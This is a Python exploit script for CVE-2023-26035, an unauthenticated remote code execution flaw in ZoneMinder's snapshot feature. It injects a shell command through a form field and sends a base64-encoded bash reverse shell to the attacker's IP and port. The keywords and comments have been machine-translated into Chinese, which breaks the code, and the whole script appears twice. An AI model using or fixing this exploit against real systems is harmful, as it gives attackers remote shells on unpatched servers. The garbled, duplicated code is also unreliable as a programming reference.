导入
导入请求
来自BS4进口美丽的小组
导入argparse
导入基础64
#利用标题: Zoneminder快照中未经验证的RCE
#DATE: 2023年12月12日
#由: @unblvr1发现
#利用作者: Ravindu Wickramasinghe(@rvizx9)
#供应商homepage: https://zoneminder.com/
#软件link: https://github.com/zoneminder/zoneminder
#1.36.33和1.37.33之前的版本:
#测试在: Arch Linux,Kali Linux
#CVE : CVE-2023-26035
#github链接: https://github.com/rvizx/cve-2023-26035
类Zoneminderexploit:
def __init __(self,target_uri):
self.target_uri=target_uri
self.csrf_magic=无
def fetch_csrf_token(self):
打印('[[]获取CSRT令牌')
响应=requests.get(self.target_uri)
self.csrf_magic=self.get_csrf_magic(响应)
如果响应。STATUS_CODE==200和re.Match(r'^key: [a-f0-9] {40},\ d+',self.csrf_magic):
打印(f'[]恢复了Token: {self.csrf_magic}')
返回true
打印('[!]无法获取或解析令牌。')
返回false
def get_csrf_magic(self,响应):
返回beautifulsoup(wendys.text,'html.parser')。查找('input',{'name':'__csrf_magic'})。get('value',none)
def execute_command(self,cmd):
打印('[[]发送有效载荷.')
data={'view':'snapshot','action':'create','monitor_ids [0] [id] [id]': f'; {cmd}','__csrf_magic'3: self.csrf_magic}
响应=requests.post(f'{self.target_uri}/index.php',data=data)
print('[]有效载荷已发送'如果wing wing.status_code==200 else'[!]未能发送有效载荷')
DEF漏洞利用(自我,有效载荷):
如果self.fetch_csrf_token():
打印(f'[]执行.')
self.execute_command(有效载荷)
如果name=='__ -Main __':
Parser=argparse.argumentparser()
parser.add_argument(' - t',' - target-url',必需=true,help='target url endpoint')
parser.add_argument(' - ip',' - local-ip',必需=true,help,help='local ip')
parser.add_argument(' - p',' - port',必需=true,help='port')
args=parser.parse_args()
#生成有效载荷
ps1=f'bash -i/dev/tcp/{args.local_ip }/{args.port} 01'
ps2=base64.b64encode(ps1.encode())。decode()
有效载荷=f'echo {ps2} | base64 -d | /bin/bash'
Zoneminderexploit(args.target_url).xexploit(有效载荷)
导入请求
来自BS4进口美丽的小组
导入argparse
导入基础64
#利用标题: Zoneminder快照中未经验证的RCE
#DATE: 2023年12月12日
#由: @unblvr1发现
#利用作者: Ravindu Wickramasinghe(@rvizx9)
#供应商homepage: https://zoneminder.com/
#软件link: https://github.com/zoneminder/zoneminder
#1.36.33和1.37.33之前的版本:
#测试在: Arch Linux,Kali Linux
#CVE : CVE-2023-26035
#github链接: https://github.com/rvizx/cve-2023-26035
类Zoneminderexploit:
def __init __(self,target_uri):
self.target_uri=target_uri
self.csrf_magic=无
def fetch_csrf_token(self):
打印('[[]获取CSRT令牌')
响应=requests.get(self.target_uri)
self.csrf_magic=self.get_csrf_magic(响应)
如果响应。STATUS_CODE==200和re.Match(r'^key: [a-f0-9] {40},\ d+',self.csrf_magic):
打印(f'[]恢复了Token: {self.csrf_magic}')
返回true
打印('[!]无法获取或解析令牌。')
返回false
def get_csrf_magic(self,响应):
返回beautifulsoup(wendys.text,'html.parser')。查找('input',{'name':'__csrf_magic'})。get('value',none)
def execute_command(self,cmd):
打印('[[]发送有效载荷.')
data={'view':'snapshot','action':'create','monitor_ids [0] [id] [id]': f'; {cmd}','__csrf_magic'3: self.csrf_magic}
响应=requests.post(f'{self.target_uri}/index.php',data=data)
print('[]有效载荷已发送'如果wing wing.status_code==200 else'[!]未能发送有效载荷')
DEF漏洞利用(自我,有效载荷):
如果self.fetch_csrf_token():
打印(f'[]执行.')
self.execute_command(有效载荷)
如果name=='__ -Main __':
Parser=argparse.argumentparser()
parser.add_argument(' - t',' - target-url',必需=true,help='target url endpoint')
parser.add_argument(' - ip',' - local-ip',必需=true,help,help='local ip')
parser.add_argument(' - p',' - port',必需=true,help='port')
args=parser.parse_args()
#生成有效载荷
ps1=f'bash -i/dev/tcp/{args.local_ip }/{args.port} 01'
ps2=base64.b64encode(ps1.encode())。decode()
有效载荷=f'echo {ps2} | base64 -d | /bin/bash'
Zoneminderexploit(args.target_url).xexploit(有效载荷)